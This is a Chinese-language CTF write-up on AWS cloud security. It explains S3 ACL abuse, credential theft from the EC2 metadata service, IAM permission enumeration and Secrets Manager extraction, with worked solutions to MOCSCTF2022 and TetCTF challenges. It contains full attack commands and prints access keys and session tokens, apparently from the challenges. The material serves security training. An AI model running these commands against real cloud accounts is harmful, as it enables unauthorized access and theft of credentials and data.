浅谈国外云安全类CTF challenge考点
字数 2005 2025-08-10 08:28:47
AWS云安全CTF挑战考点详解
背景介绍
AWS安全类CTF题目在国外比赛中较为常见,这类题目由于AWS使用场景广泛且可玩性高,主要考察参赛者对AWS云服务安全配置的理解和利用能力。在国内,这类题目的相关资料较少,本文整理了AWS安全CTF的常见考点和解题思路。
0x01 配置不当简析与总体思路
大多数CTF的攻击视角都是以云租户渗透为主,主要攻击方法包括:
- 基础配置不当
- S3权限配置问题
- 安全组配置不当
- IAM权限配置问题
核心攻击思路:寻找AccessKey(AK)。在AWS环境中,获取有效的AccessKey通常是突破的关键。
常见敏感信息位置
- Git配置泄漏
- 目录备份中的配置文件
- 任意文件读取漏洞
- APK文件中存放的AccessKey(通过逆向获取)
基本流程:
- 阅读架构文档,找到配置文件位置
- 进行常规web测试
- 读取配置和敏感文件寻找AK
- 利用AK获取flag
0x02 S3权限配置
S3基础概念
S3(Simple Storage Service)是AWS提供的对象存储服务,以"桶"(bucket)的形式存储对象,对象中的数据即为文件。
信息发现方法
- 服务器暴露的相关信息
- 通过dig或nslookup寻找DNS解析记录
- 使用aws cli工具
常见利用场景
1. 公开可读的桶
aws s3 ls s3://bucketname --no-sign-request # 列桶内容
aws s3 cp s3://bucketname/xxx.txt ./ --no-sign-request # 下载文件
2. WRITE权限利用
当桶配置了写权限但未配置读权限时:
- 无法读取他人上传的文件
- 可以覆盖他人上传的文件(因为上传的对象属于上传者)
aws s3api put-object --bucket bucketname --key 1.txt --body 2.txt --no-sign-request
3. WRITE_ACP权限利用
WRITE_ACP权限允许用户修改ACL,可以将对象的FULL_CONTROL权限设置给自己:
# 查看规范ID
aws s3api list-buckets --profile A
# 修改对象ACL
aws s3api put-object-acl --bucket bucketname --key 1.txt --grant-full-control id=A_id --profile A
# 修改桶ACL
aws s3api put-bucket-acl --bucket bucketname --grant-full-control id=A_id
0x03 安全组权限配置
安全组在CTF中通常作为"组合拳"的一部分出现,关键点在于安全组的Outbound规则默认配置。
元数据服务利用
AWS EC2实例的元数据服务地址:169.254.169.254
通过访问该地址可以获取实例的元数据信息,包括:
- 实例ID
- 公网IP地址
- 安全组信息
- IAM角色信息
curl http://169.254.169.254/latest/meta-data/
0x04 IAM权限配置
IAM(Identity and Access Management)是AWS提供的免费权限控制服务,包含三个要素:
- 谁?(主体)
- 什么?(资源)
- 做什么?(操作)
IAM策略
IAM将上述三要素组织在一个JSON文件中,称为"策略"。常见的错误配置包括:
- 过度授权
- 权限继承不当
- 权限边界设置错误
0x05 类型题展示(1)
MOCSCTF2022 - bucket list
题目描述:
- flag存储在S3桶中
- 直接访问
https://capture-the-flag-bucket.s3.ap-southeast-1.amazonaws.com/flag.txt不可行 - 存在一个名为
list-bucket-lambda的无服务器服务
解题步骤:
- 通过API访问列桶函数:
https://ywe7ydb0vi.execute-api.us-east-2.amazonaws.com/default/list-bucket-lambda?bucket=capture-the-flag-bucket&key=flag.txt - 解密返回的base64编码内容获取flag
MOCSCTF2022 - iam who iam
题目描述:
- 提示关注IAM
- 提供任意文件读取功能
解题步骤:
- 读取元数据获取IAM角色信息:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - 找到角色(如
mocsctf-role)并读取其凭证:{ "AccessKeyId": "ASIATY2C4XDIGMY5VM6H", "SecretAccessKey": "/gfcM8aSa3He0BacIqLZM6t61vn7vlukw3q0eN5x", "Token": "IQoJb3JpZ2luX2VjEOf/wEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgJD9/hLX+WiRsSw4GSxggEAGCM3fuUYX/rsWwSDtZJxMCIH9Te9kzPXummw6CqE9GXX6df+CmRalDUE1Vp/CY+9n7KtMFCJD/wEQABoMMjU5NDQ4OTQ0ODQ4Igw72Spv0ecnzYDsHNQqpwXiUXrRGT7sw2+niQPghBji3A9OmhWu/oLmCi4yvtb3vSQpG098a3pG1NcEXB3dw9abX4YaNOWVk/KrLjp8MYrPUso/ZXaydIKljU8E/Nd2fIMEM17BMerqwETXJhxuX0SkKpVYN3sVK475k+BpV7x3NY2t8P2ZvFteFAG1qGLl4gliXGNapTYsobGrL/pYretLNv3D3g2Vz+pkWGtd9giTLX1jY7V/gemTRPDHvZpJE57SYQYm7XjCEiPGGwAairScoLtFc950H9IebnayRUt3tRrNhFYu//0Mpy3oFnvG7thkQhWTHUw7B8QQlDWtrw99o7ER7L8hB8LWrP8TmLwfWP7UQ0nZgtDSiAlL9sJXil0WixaVNrvHc9OJVYoi6lK71mYMCKkbj6fzd6diuaqMlja/WKDPMzrLN+Kb8E+QMHMH+eHzfg1a6e9c1JHRlTH/xm5VbVO0kN2p3vuvAOQex3ZnVDVYVdoseS2mvXejXXRQdYFSdkoG9ND61yhvR1yJNwEG3ymxvB1DjrrWHcjA1PMNQCjlOLiMatToE2j29jLWYUnEs5Mg1bwOat/LUSUjGOxq0iFMmSINM2RjTFvpl6ZgokCtDjwNksTEkSb+X5JYl77Uu35jTL+xaWZzAdxETFl3wEHpyw0ZAVmWLOcZhrD8vn8NHzHsYhdO7qD9RdCX90bqETraqlXmVjDzpVqtR8DKFLCl6Tj4loNTl4rasE9qKvETmxwrWmTEaoM3Pjv5AjjqcODbYoWTf02AhxZjJe2WI9LZoDIE+IsjjYE48FrMviktZkx/bo0dNdHP0zReZzCoo02/I8XKpLsV5bNYhmcfe4HlxWnNYCyi5zSe6wgQHHCt5A0MOM6trNvV1QD5ixThULDx7BZi8RHL9RwvOgc1dhXbMIPM/Z8GOrIBX9WLgY/kQSBJGidRjZacPtVkiK4lLhH6KyoWc5YKvpunrWZ8TfB8H0gogKhdyTUxsyiHrAJgBN/vryVY5SBEQcje0ZmfYD7Mo/VmOvrS9WCxEmWukv/CFUfrlJ6J9JNZEiAcMDV4vf+icqlsRK4cOUWYHaJmzVaUi2NtaTJkN0OHSod0RkM2XpuUkRVnrF0Ljrio12Ks5enCmwAiJozjf2MnHJi+PFxf4P3/tPsEl/3oUA==" } - 配置AWS CLI环境变量:
export AWS_ACCESS_KEY_ID=ASIATY2C4XDIC7ILPUON export AWS_DEFAULT_REGION=ap-southeast-1 export AWS_SECRET_ACCESS_KEY=MifuK0E3abqMcqIrqJh3g9oCDEK15gdfh0GIdAU7 export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDwaDmFwLXNvdXRoZWFzdC0xIkcwRQIgUYR7ATZIbFbJBpy0YdGd0OYgP8sSSCiG8803lklvHMcCIQDdPfNwnYIQ+Io6FnrdGjR8+4X0VMo52lZR+KCQGByrxCrkBAil/8BEAAaDDI1OTQ0ODk0NDg0OCIM0NpgZjqxe/YMVh3AKrgEQGTzGKg03uUmrNq6xsY3jt9kLpBW5L2k1bUI9LF8DapUG5yEdlARyuIpref1it/8E+svPab3pbcBempMUGty+p4uxb+GUlRDoNd9m0/GXCbJihdX0G0MZ3wVIjPPmIgWhdq9bmqPMkvzxTBWY88uMnws2BgIQFFF6KfhbUllSO6dNEmkDeJ+isGSnKSmwirXtxbX6BUTBG7bhffnrswNW4I+3+vMky3eOBhJZz4W0SSzVHyBUWleDZEThQzVJpjB7QtJ3Bc/yRONuPvXeDZjM2BtrsJqcsneuMDNEKwBAu7QdMLA2bD42UtnyuMpqgs8k6JvwUDysD0bBMXndui2LQVChCnxMRzX7dXXe3MUPcfYrj4OIWQRWJpx3fz4ML2SwJJAJNNG/TyqExKNPOft5DBf8DKRyH1YoYYzl+U0pyVvf7PK17imMOTfoV0YIxWhGa2hXJvAzKQz0xoQMYyTP4yA6CsTZme3yRQliQkBuzQA8BgqlNc3L3OElG/9KuRm046mTIBg2Cl0Aab/V2rOCzdE+LYcFdDba/mrSd1ggCKnn65TIJQUXTdX7OB/8CLzpDDyICx3IhFArNBVI7AXdr8704l+7GFInkP2gbmUv2x6k43oc53x5KFgXQjtfw1c1eTkQfPQK/dqIOJVapiwT+YAmlhPoajeDqFs2vTfoqWX02b1ArkS42zYAplWWyvBwVWm7px7CDjVgVkorOAVqvQ6vKA9joD+XQAoKRHATmXAbM4v4BchTjD/mK+eBjqpAVB5QoSa43okkk5omA1Hk8yXTw6hnkk3e8QCchouAzIQS8Fa7QGtUyQy7d8xM9F6G8gheb+vuysn8BZXRfmp5Rmw6kuj8BiPH7qeUdP6tdQhyrtH3QclYNA4/zHdRzQVXL2s7K1AnRv4gBiiPocH86nsU1aUIA3NxiRLjcGGzVnUxjkbc6ic6ZGf0UtbLkEpHQWNBK1ZEM2i3vk4X3UxgLNl8yAOOWP5S44= - 使用AWS CLI操作S3:
aws s3 ls aws s3 ls s3://iam-ctf-bucket aws s3 cp s3://iam-ctf-bucket/secret.txt ./ cat secret.txt - 如果flag不在S3中,可以检查快照:
aws ec2 describe-snapshots --region ap-southeast-1 --filters Name=description,Values=flag*
0x06 类型题展示(2)
TetCTF - Hello from API GW
题目描述:
- API Gateway端点:
https://huk5xbypcc.execute-api.ap-southeast-2.amazonaws.com/dev/vulnerable?vulnerable=aaa - 推测
vulnerable参数对应一个Lambda函数
解题步骤:
- 尝试读取环境变量
process.env,发现是JS环境 - 获取到的标准AK无权限
- 发现环境变量中有:
ENV_ACCESS_KEYENV_SECRET_ACCESS_KEY
- 配置AWS CLI:
aws sts get-caller-identity - 使用枚举工具检查权限:
python3 enumerate-iam.py --access-key AKIAX473H4JB76WRTYPI --secret-key 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 --region ap-southeast-2 - 发现
secretsmanager.list_secrets()权限 - 列出并获取secret:
aws secretsmanager list-secrets aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27
0x07 总结
AWS云安全CTF主要考察以下方面:
-
S3权限配置:
- 公开可读桶
- WRITE权限利用
- WRITE_ACP权限提升
-
安全组配置:
- 元数据服务利用(169.254.169.254)
- 安全组规则滥用
-
IAM权限配置:
- 过度授权
- 权限提升
- 凭证泄露
-
Lambda与API Gateway:
- 环境变量泄露
- 权限边界突破
补充学习资源:
- big-iam-challenge相关挑战
- AWS官方安全文档
- IAM策略最佳实践
掌握这些核心知识点,能够应对大多数AWS云安全CTF挑战。在实际比赛中,还需要结合具体题目灵活运用这些技术。